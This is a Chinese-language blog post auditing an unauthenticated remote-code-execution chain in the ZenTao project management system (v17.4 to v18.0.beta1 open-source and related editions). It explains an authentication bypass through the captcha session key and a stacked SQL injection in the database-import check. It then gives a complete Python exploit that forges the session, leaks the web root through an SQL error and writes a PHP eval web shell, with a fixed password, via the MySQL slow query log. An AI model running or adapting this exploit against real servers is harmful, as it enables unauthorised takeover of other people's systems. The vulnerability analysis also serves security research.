昨天微步上发布了关于禅道研发项⽬管理系统未授权RCE漏洞的信息

青岛禅道软件旗下 杭州易软共创网络科技有限公司

影响范围:

  • v17.4<= 禅道 <= v18.0.beta1(开源版)
  • v3.4<= 禅道 <= v4.0.beta1(旗舰版)
  • v7.4<= 禅道 <= v8.0.beta1(企业版)

 

我于是选择了开源吧18.0bata1的程序下载下来审计

其中关键部分在于权限绕过

framework\base\control.class.php

if($this->config->installed && !in_array($this->moduleName, $this->config->openModules) && empty($this->app->user) && !$this->loadModel('common')->isOpenMethod($this->moduleName, $this->methodName))
{
    $uri = $this->app->getURI(true);
    if($this->moduleName == 'message' and $this->methodName == 'ajaxgetmessage')
    {
        $uri = helper::createLink('my');
    }
    elseif(helper::isAjaxRequest())
    {
        die(json_encode(array('result' => false, 'message' => $this->lang->error->loginTimeout)));
    }

    $referer = helper::safe64Encode($uri);
    die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}

可以发现这一部分的代码在开头进行权限判断时候

empty($this->app->user)

只判断了user不为空即可

其中user的信息主要存在session中,所以只要能构造一个user的键即可

然后对允许访问的模块和方法进行审计发现了在misc模块的captcha方法中可以伪造session只能控制键不能控制值,正好可以用来绕过权限认证

\module\misc\control.php

public function captcha($sessionVar = 'captcha', $uuid = '')
{
    $obLevel = ob_get_level();
    for($i = 0; $i < $obLevel; $i++) ob_end_clean();

    header('Content-Type: image/jpeg');
    $captcha = $this->app->loadClass('captcha');
    $this->session->set($sessionVar, $captcha->getPhrase());
    $captcha->build()->output();
}

之后又到了权限验证部分

判断完成之后用die进行处理来到了这一部分

\module\convert\model.php

 

public function checkPriv()

 

catch(EndResponseException $endResponseException)
{
    echo $endResponseException->getContent();
}

其中这个就是权限不满足时候执行的,原本这时候应该就要结束了,但是这里采用的是echo 所以导致了可以继续执行代码,所以只要上面的验证绕过,这里就可以继续执行。

在官方发布的新版中这里修改为了die

die($endResponseException->getContent());

代码不能继续执行了

 

权限认证绕过之后,发现可以访问一部分代码,在对后台的功能审计时候发现,在导入数据时候的数据库判断存在sql注入

\module\convert\model.php

public function dbExists($dbName = '')
{
    $sql = "SHOW DATABASES like '{$dbName}'";
    return $this->dbh->query($sql)->fetch();
}

 

public function connectDB($dbName = '')
{
    $dsn = "mysql:host={$this->config->db->host}; port={$this->config->db->port};dbname={$dbName}";
    try
    {
        $dbh = new PDO($dsn, $this->config->db->user, $this->config->db->password);
        $dbh->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
        $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $dbh->exec("SET NAMES {$this->config->db->encoding}");
        $this->sourceDBH = $dbh;
        return $dbh;
    }
    catch (PDOException $exception)
    {
        return $exception->getMessage();
    }
}

 

发现show语句中存在sql注入,然后根据连接方法connectDB判断可以在sql中构造堆叠注入。

然后就可以直接在数据库中添加管理员账号,进一步操作。

拿到禅道的管理员权限后就简单多了,后台可利用方法有兴趣自己研究下。

 

(rce的脚本github已经公布我补充下我当时sql的后续方法吧QAQ我是小菜鸡)

 

如果在sql的基础上继续利用可以直接尝试写shell

在官方一键安装中使用的默认数据库是root

但是secure_file_priv的值为空所以这个行不通了

但是既然是root用户可以利用慢查询写shell

只要知道物理路径就可以了

正好在前一步的sql中构造错误的sql可以暴漏物理路径

直接写shell

exp:

import re

import requests


class exp(object):

    def __init__(self, url):
        self.url = url
        self.headers = {"Referer": self.url}
        self.type = 1
        self.routes = {
            "a": ['/index.php?m=misc&f=captcha&sessionVar=user&uuid=1', '/index.php?m=convert&f=importNotice'],
            "b": ['/misc-captcha-user-1.html', '/convert-importNotice.html']
        }
        self.route()
        self.init()
        self.path = self.getPath()


    def route(self):
        res = requests.get(self.url)
        if "user-login" in res.text:
            self.type = "b"
        else:
            self.type = "a"

    def init(self):
        res = requests.get(self.url + self.routes[self.type][0])
        self.headers['cookie'] = res.headers.get("Set-cookie") + ";XDEBUG_SESSION=PHPSTORM"

    def sql(self, data):
        data = {
            "dbName": f"';{data}#"
        }
        res = requests.post(self.url + self.routes[self.type][1], headers=self.headers,
                            data=data)
        return res.text

    def getPath(self):
        res = self.sql("'xx")
        data = re.findall('#0 (.+?)module',res)
        return data[0] + "www/"

    def shell(self):
        # 0x3c3f706870206576616c28245f504f53545b277861697478275d293b  <?php eval($_POST['xaitx']);
        data = f"set global slow_query_log=1;set global slow_query_log_file='{self.path}www/shell.php'; select '<?php eval($_POST[\"xaitx\"]);' or sleep(11);#"
        res = self.sql(data)


if __name__ == '__main__':
    print("--------------------------------------------\n"
             "v17.4<= 禅道 <= v18.0.beta1(开源版)\n"
             "v3.4 <= 禅道 <= v4.0.beta1(旗舰版)\n"
             "v7.4 <= 禅道 <= v8.0.beta1(企业版)\n"
          "--------------------------------------------")
    url = input("url:")
    a = exp(url)
    a.shell()
    print("写入成功\n"
          f"url:{a.path}/shell.php\n"
          "密码:xaitx")